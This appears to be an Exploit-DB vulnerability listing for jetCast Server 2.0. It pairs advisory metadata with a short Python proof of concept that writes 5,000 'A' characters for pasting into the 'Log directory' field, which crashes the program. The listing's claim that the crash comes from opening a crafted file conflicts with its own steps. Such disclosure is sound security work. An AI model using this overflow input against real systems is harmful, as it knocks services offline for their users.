jetCast Server 2.0 - Denial of Service (PoC)

vendor:

jetCast Server

by:

Victor Mondragón

7.5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: jetCast Server

Affected Version From: 2.0

Affected Version To: 2.0

Patch Exists: YES

Related CWE: N/A

CPE: a:jetaudio:jetcast_server

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 7 Service Pack 1 x64

2019

jetCast Server 2.0 – Denial of Service (PoC)

Victor Mondragón discovered a Denial of Service vulnerability in jetCast Server 2.0. The vulnerability is triggered when a maliciously crafted file is opened in the application. The application crashes when the file is opened, resulting in a denial of service.

Mitigation:

The vendor has released a patch to address the vulnerability.

Source

Exploit-DB raw data:

#Exploit Title:  jetCast Server 2.0 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-09
#Vendor Homepage: http://www.jetaudio.com/
#Software Link: http://www.jetaudio.com/download/5fc01426-741d-41b8-a120-d890330ec672/jetAudio/Download/jetCast/build/JCS2000.exe
#Tested Version: 2.0
#Tested on: Windows 7 Service Pack 1 x64 

#Steps to produce the crash:
#1.- Run python code: jetCast_Server_2.0.py
#2.- Open jetCast.txt and copy content to clipboard
#2.- Open jetCast Server 
#3.- Select Config 
#4.- In "Log directory" Paste ClipBoard 
#5.- Click on "Ok"
#6.- Click on "Start"
#7.- Crashed

cod = "\x41" * 5000
f = open('jetCast.txt', 'w')
f.write(cod)
f.close()